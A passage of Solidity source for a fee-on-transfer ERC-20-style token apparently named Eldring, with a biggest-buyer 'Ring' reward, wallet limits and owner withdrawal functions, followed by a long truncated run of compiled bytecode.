swapThreshold = threshold;
}
function setFeeReceivers(
address newLiquidityReceiver,
address newMarketingWallet
) external authorized {
autoLiquidityReceiver = newLiquidityReceiver;
marketingWallet = newMarketingWallet;
}
function setResetPeriodInSeconds(uint256 newResetPeriod)
external
authorized
{
resetPeriod = newResetPeriod;
}
function _reset() internal {
Ring = marketingWallet;
biggestBuy = 0;
lastRingChange = block.timestamp;
}
function epochReset() external view returns (uint256) {
return lastRingChange + resetPeriod;
}
function _checkTxLimit(
address sender,
address recipient,
uint256 amount
) internal {
if (block.timestamp - lastRingChange > resetPeriod) {
_reset();
}
if (
sender != owner &&
recipient != owner &&
!isTxLimitExempt[recipient] &&
recipient != ZERO &&
recipient != DEAD &&
recipient != pair &&
recipient != address(this)
) {
require(amount <= _maxTxAmount, "MAX TX");
uint256 contractBalanceRecipient = balanceOf(recipient);
require(
contractBalanceRecipient + amount <= _maxWalletAmount,
"Exceeds maximum wallet token amount"
);
address[] memory path = new address[](2);
path[0] = router.WETH();
path[1] = address(this);
uint256 usedEth = router.getAmountsIn(amount, path)[0];
if (!hasSold[recipient] && usedEth > biggestBuy) {
Ring = recipient;
biggestBuy = usedEth;
lastRingChange = block.timestamp;
emit NewRing(Ring, biggestBuy);
}
}
if (
sender != owner &&
recipient != owner &&
!isTxLimitExempt[sender] &&
sender != pair &&
recipient != address(this)
) {
require(amount <= _maxTxAmount, "MAX TX");
if (Ring == sender) {
emit RingSold(Ring, biggestBuy);
_reset();
}
hasSold[sender] = true;
}
}
function setSwapBackSettings(bool enableSwapBack, uint256 newSwapBackLimit)
external
authorized
{
swapAndLiquifyEnabled = enableSwapBack;
swapThreshold = newSwapBackLimit;
}
function transfer(address recipient, uint256 amount)
external
override
returns (bool)
{
return _transferFrom(msg.sender, recipient, amount);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) external override returns (bool) {
if (_allowances[sender][msg.sender] != uint256(-1)) {
_allowances[sender][msg.sender] = _allowances[sender][msg.sender]
.sub(amount, "Insufficient Allowance");
}
_transferFrom(sender, recipient, amount);
return true;
}
function _transferFrom(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
if (inSwapAndLiquify) {
return _basicTransfer(sender, recipient, amount);
}
if (
msg.sender != pair &&
!inSwapAndLiquify &&
swapAndLiquifyEnabled &&
_balances[address(this)] >= swapThreshold
) {
swapBack();
}
_checkTxLimit(sender, recipient, amount);
require(!isWalletToWallet(sender, recipient), "Don't cheat");
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
uint256 amountReceived = !isFeeExempt[sender] && !isFeeExempt[recipient]
? takeFee(sender, recipient, amount)
: amount;
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(msg.sender, recipient, amountReceived);
return true;
}
function _basicTransfer(
address sender,
address recipient,
uint256 amount
) internal returns (bool) {
_balances[sender] = _balances[sender].sub(
amount,
"Insufficient Balance"
);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFee(
address sender,
address recipient,
uint256 amount
) internal returns (uint256) {
uint256 feeApplicable = pair == recipient
? totalFeeIfSelling
: totalFee;
uint256 feeAmount = amount.mul(feeApplicable).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
function isWalletToWallet(address sender, address recipient)
internal
view
returns (bool)
{
if (isFeeExempt[sender] || isFeeExempt[recipient]) {
return false;
}
if (sender == pair || recipient == pair) {
return false;
}
return true;
}
function swapBack() internal lockTheSwap {
//uint256 tokensToLiquify = _balances[address(this)];
uint256 tokensToLiquify = swapThreshold;
uint256 amountToLiquify = tokensToLiquify
.mul(liquidityFee)
.div(totalFee)
.div(2);
uint256 amountToSwap = tokensToLiquify.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
router.swapExactTokensForETHSupportingFeeOnTransferTokens(
amountToSwap,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance;
uint256 totalETHFee = totalFee.sub(liquidityFee.div(2));
uint256 amountETHMarketing = amountETH.mul(marketingFee).div(
totalETHFee
);
uint256 amountETHRing = amountETH.mul(ringFee).div(totalETHFee);
uint256 amountETHLiquidity = amountETH
.mul(liquidityFee)
.div(totalETHFee)
.div(2);
(bool tmpSuccess, ) = payable(marketingWallet).call{
value: amountETHMarketing,
gas: 30000
}("");
(bool tmpSuccess2, ) = payable(Ring).call{
value: amountETHRing,
gas: 30000
}("");
emit RingPayout(Ring, amountETHRing);
// only to supress warning msg
tmpSuccess = false;
tmpSuccess2 = false;
if (amountToLiquify > 0) {
router.addLiquidityETH{value: amountETHLiquidity}(
address(this),
amountToLiquify,
0,
0,
autoLiquidityReceiver,
block.timestamp
);
emit AutoLiquify(amountETHLiquidity, amountToLiquify);
}
}
function recoverLosteth() external authorized {
payable(msg.sender).transfer(address(this).balance);
}
function recoverLostTokens(address _token, uint256 _amount)
external
authorized
{
IERC20(_token).transfer(msg.sender, _amount);
}
}
|
0x60806040526004361061028c5760003560e01c80638eb6889f1161015a578063cec10c11116100c1578063ed14f20a1161007a578063ed14f20a14610e7e578063f0b37c0414610ee5578063f2fde38b14610f36578063f84ba65d14610f87578063f887ea4014610fe4578063fe9fbb801461102557610293565b8063cec10c1114610c7c578063d3b43dfc14610ccb578063dd62ed3e14610d1c578063dec2ba0f14610da1578063df20fd4914610dfc578063ec28438a14610e4357610293565b8063a4b45c0011610113578063a4b45c0014610a9c578063a8aa1b3114610b0d578063a9059cbb14610b4e578063b6a5d7de14610bbf578063ca33e64c14610c10578063ca987b0e14610c5157610293565b80638eb6889f14610925578063944c1d971461095057806395d89b411461097b57806398118cb414610a0b5780639d0014b114610a365780639f2bb2e914610a7157610293565b80633f4218e0116101fe57806370a08231116101b757806370a082311461075b578063712a890a146107c057806375f0a874146107fb57806387b3be7d1461083c578063893d20e81461087d5780638b42507f146108be57610293565b80633f4218e0146105ad57806346cf314f146106145780634a74bb021461063f578063571ac8b01461066c578063658d4b7f146106d35780636b67c4df1461073057610293565b806323b872dd1161025057806323b872dd1461041a5780632b112e49146104ab5780632f54bf6e146104d6578063313ce5671461053d57806333596f501461056b5780633e02a9881461058257610293565b80630445b6671461029857806306fdde03146102c3578063095ea7b31461035357806318160ddd146103c45780631df4ccfc146103ef57610293565b3661029357005b600080fd5b3480156102a457600080fd5b506102ad61108c565b6040518082815260200191505060405180910390f35b3480156102cf57600080fd5b506102d8611092565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103185780820151818401526020810190506102fd565b50505050905090810190601f1680156103455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561035f57600080fd5b506103ac6004803603604081101561037657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110cf565b60405180821515815260200191505060405180910390f35b3480156103d057600080fd5b506103d96111c1565b6040518082815260200191505060405180910390f35b3480156103fb57600080fd5b506104046111cb565b6040518082815260200191505060405180910390f35b34801561042657600080fd5b506104936004803603606081101561043d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506111d1565b60405180821515815260200191505060405180910390f35b3480156104b757600080fd5b506104c06113d4565b6040518082815260200191505060405180910390f35b3480156104e257600080fd5b50610525600480360360208110156104f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611456565b60405180821515815260200191505060405180910390f35b34801561054957600080fd5b506105526114af565b604051808260ff16815260200191505060405180910390f35b34801561057757600080fd5b506105806114b8565b005b34801561058e57600080fd5b5061059761157c565b6040518082815260200191505060405180910390f35b3480156105b957600080fd5b506105fc600480360360208110156105d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061158a565b60405180821515815260200191505060405180910390f35b34801561062057600080fd5b506106296115aa565b6040518082815260200191505060405180910390f35b34801561064b57600080fd5b506106546115b0565b60405180821515815260200191505060405180910390f35b34801561067857600080fd5b506106bb6004803603602081101561068f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115c3565b60405180821515815260200191505060405180910390f35b3480156106df57600080fd5b5061072e600480360360408110156106f657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506115f6565b005b34801561073c57600080fd5b506107456116cc565b6040518082815260200191505060405180910390f35b34801561076757600080fd5b506107aa6004803603602081101561077e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116d2565b6040518082815260200191505060405180910390f35b3480156107cc57600080fd5b506107f9600480360360208110156107e357600080fd5b810190808035906020019092919050505061171b565b005b34801561080757600080fd5b506108106117a0565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561084857600080fd5b506108516117c6565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561088957600080fd5b506108926117ec565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156108ca57600080fd5b5061090d600480360360208110156108e157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611815565b60405180821515815260200191505060405180910390f35b34801561093157600080fd5b5061093a611835565b6040518082815260200191505060405180910390f35b34801561095c57600080fd5b5061096561183b565b6040518082815260200191505060405180910390f35b34801561098757600080fd5b50610990611841565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109d05780820151818401526020810190506109b5565b50505050905090810190601f1680156109fd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b348015610a1757600080fd5b50610a2061187e565b6040518082815260200191505060405180910390f35b348015610a4257600080fd5b50610a6f60048036036020811015610a5957600080fd5b8101908080359060200190929190505050611884565b005b348015610a7d57600080fd5b50610a86611909565b6040518082815260200191505060405180910390f35b348015610aa857600080fd5b50610b0b60048036036040811015610abf57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061190f565b005b348015610b1957600080fd5b50610b22611a10565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b5a57600080fd5b50610ba760048036036040811015610b7157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611a36565b60405180821515815260200191505060405180910390f35b348015610bcb57600080fd5b50610c0e60048036036020811015610be257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a4b565b005b348015610c1c57600080fd5b50610c25611b20565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610c5d57600080fd5b50610c66611b46565b6040518082815260200191505060405180910390f35b348015610c8857600080fd5b50610cc960048036036060811015610c9f57600080fd5b81019080803590602001909291908035906020019092919080359060200190929190505050611b4c565b005b348015610cd757600080fd5b50610d1a60048036036020811015610cee57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611be1565b005b348015610d2857600080fd5b50610d8b60048036036040811015610d3f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611de3565b6040518082815260200191505060405180910390f35b348015610dad57600080fd5b50610dfa60048036036040811015610dc457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611e6a565b005b348015610e0857600080fd5b50610e4160048036036040811015610e1f57600080fd5b8101908080351515906020019092919080359060200190929190505050611f96565b005b348015610e4f57600080fd5b50610e7c60048036036020811015610e6657600080fd5b8101908080359060200190929190505050612036565b005b348015610e8a57600080fd5b50610ecd60048036036020811015610ea157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120bb565b60405180821515815260200191505060405180910390f35b348015610ef157600080fd5b50610f3460048036036020811015610f0857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120db565b005b348015610f4257600080fd5b50610f8560048036036020811015610f5957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121b1565b005b348015610f9357600080fd5b50610fe260048036036040811015610faa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050612313565b005b348015610ff057600080fd5b50610ff96123e9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561103157600080fd5b506110746004803603602081101561104857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061240f565b60405180821515815260200191505060405180910390f35b601a5481565b60606040518060400160405280600781526020017f454c4452494e4700000000000000000000000000000000000000000000000000815250905090565b600081600a60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600554905090565b60115481565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146113bd5761133c826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600a60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ed9092919063ffffffff16565b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6113c88484846125ad565b50600190509392505050565b6000611451611404600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166116d2565b611443611432600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166116d2565b6005546129cd90919063ffffffff16565b6129cd90919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60006012905090565b6114c13361240f565b611533576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b3373ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611579573d6000803e3d6000fd5b50565b600060085460075401905090565b600b6020528060005260406000206000915054906101000a900460ff1681565b60105481565b601760159054906101000a900460ff1681565b60006115ef827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6110cf565b9050919050565b6115ff3361240f565b611671576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f5481565b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6117243361240f565b611796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060088190555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600c6020528060005260406000206000915054906101000a900460ff1681565b60065481565b60085481565b60606040518060400160405280600781526020017f456c6472696e6700000000000000000000000000000000000000000000000000815250905090565b600e5481565b61188d3361240f565b6118ff576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80601a8190555050565b60075481565b6119183361240f565b61198a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000611a433384846125ad565b905092915050565b611a5433611456565b611ac6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60125481565b611b553361240f565b611bc7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b82600e8190555081600f8190555080601081905550505050565b611bea3361240f565b611c5c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600960008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611cf281600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b6000600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611e733361240f565b611ee5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b158015611f5657600080fd5b505af1158015611f6a573d6000803e3d6000fd5b505050506040513d6020811015611f8057600080fd5b8101908080519060200190929190505050505050565b611f9f3361240f565b612011576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b81601760156101000a81548160ff02191690831515021790555080601a819055505050565b61203f3361240f565b6120b1576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060188190555050565b600d6020528060005260406000206000915054906101000a900460ff1681565b6120e433611456565b612156576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6121ba33611456565b61222c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f214f574e4552000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b61231c3361240f565b61238e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21415554484f52495a454400000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600c60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000808284019050838110156124e3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600083831115829061259a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561255f578082015181840152602081019050612544565b50505050905090810190601f16801561258c5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b6000601760149054906101000a900460ff16156125d6576125cf848484612a17565b90506129c6565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141580156126415750601760149054906101000a900460ff16155b80156126595750601760159054906101000a900460ff165b80156126a65750601a54600960003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b156126b4576126b3612bea565b5b6126bf8484846132fc565b6126c98484613dd5565b1561273c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f446f6e277420636865617400000000000000000000000000000000000000000081525060200191505060405180910390fd5b6127c5826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ed9092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156128ae5750600b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6128b857826128c4565b6128c3858585613f48565b5b905061291881600960008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a360019150505b9392505050565b6000612a0f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506124ed565b905092915050565b6000612aa2826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ed9092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612b3782600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461246590919063ffffffff16565b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b6001601760146101000a81548160ff0219169083151502179055506000601a5490506000612c4a6002612c3c601154612c2e600e54876140f090919063ffffffff16565b61417690919063ffffffff16565b61417690919063ffffffff16565b90506000612c6182846129cd90919063ffffffff16565b90506060600267ffffffffffffffff81118015612c7d57600080fd5b50604051908082528060200260200182016040528015612cac5781602001602082028036833780820191505090505b5090503081600081518110612cbd57fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612d5f57600080fd5b505afa158015612d73573d6000803e3d6000fd5b505050506040513d6020811015612d8957600080fd5b810190808051906020019092919050505081600181518110612da757fe5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040180868152602001858152602001806020018473ffffffffffffffffffffffffffffffffffffffff168152602001838152602001828103825285818151815260200191508051906020019060200280838360005b83811015612ea5578082015181840152602081019050612e8a565b505050509050019650505050505050600060405180830381600087803b158015612ece57600080fd5b505af1158015612ee2573d6000803e3d6000fd5b5050505060004790506000612f17612f066002600e5461417690919063ffffffff16565b6011546129cd90919063ffffffff16565b90506000612f4282612f34600f54866140f090919063ffffffff16565b61417690919063ffffffff16565b90506000612f6d83612f5f601054876140f090919063ffffffff16565b61417690919063ffffffff16565b90506000612fab6002612f9d86612f8f600e548a6140f090919063ffffffff16565b61417690919063ffffffff16565b61417690919063ffffffff16565b90506000601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168461753090604051806000019050600060405180830381858888f193505050503d8060008114613034576040519150601f19603f3d011682016040523d82523d6000602084013e613039565b606091505b505090506000601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168461753090604051806000019050600060405180830381858888f193505050503d80600081146130c4576040519150601f19603f3d011682016040523d82523d6000602084013e6130c9565b606091505b505090507f887dd9f57395c2e1e0dea455ae76bf56410b19b3131f2a590aab0b29b3683632601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1685604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019250505060405180910390a1600091506000905060008a11156132d457601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308d600080601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b8152600401808773ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200196505050505050506060604051808303818588803b15801561324157600080fd5b505af1158015613255573d6000803e3d6000fd5b50505050506040513d606081101561326c57600080fd5b810190808051906020019092919080519060200190929190805190602001909291905050505050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506838b604051808381526020018281526020019250505060405180910390a15b50505050505050505050506000601760146101000a81548160ff021916908315150217905550565b60085460075442031115613313576133126141c0565b5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156133bb575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156134115750600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561346b5750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156134c55750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561351f5750601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561355757503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15613a92576018548111156135d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f4d4158205458000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60006135df836116d2565b9050601954828201111561363e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806142fb6023913960400191505060405180910390fd5b6060600267ffffffffffffffff8111801561365857600080fd5b506040519080825280602002602001820160405280156136875781602001602082028036833780820191505090505b509050601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156136f257600080fd5b505afa158015613706573d6000803e3d6000fd5b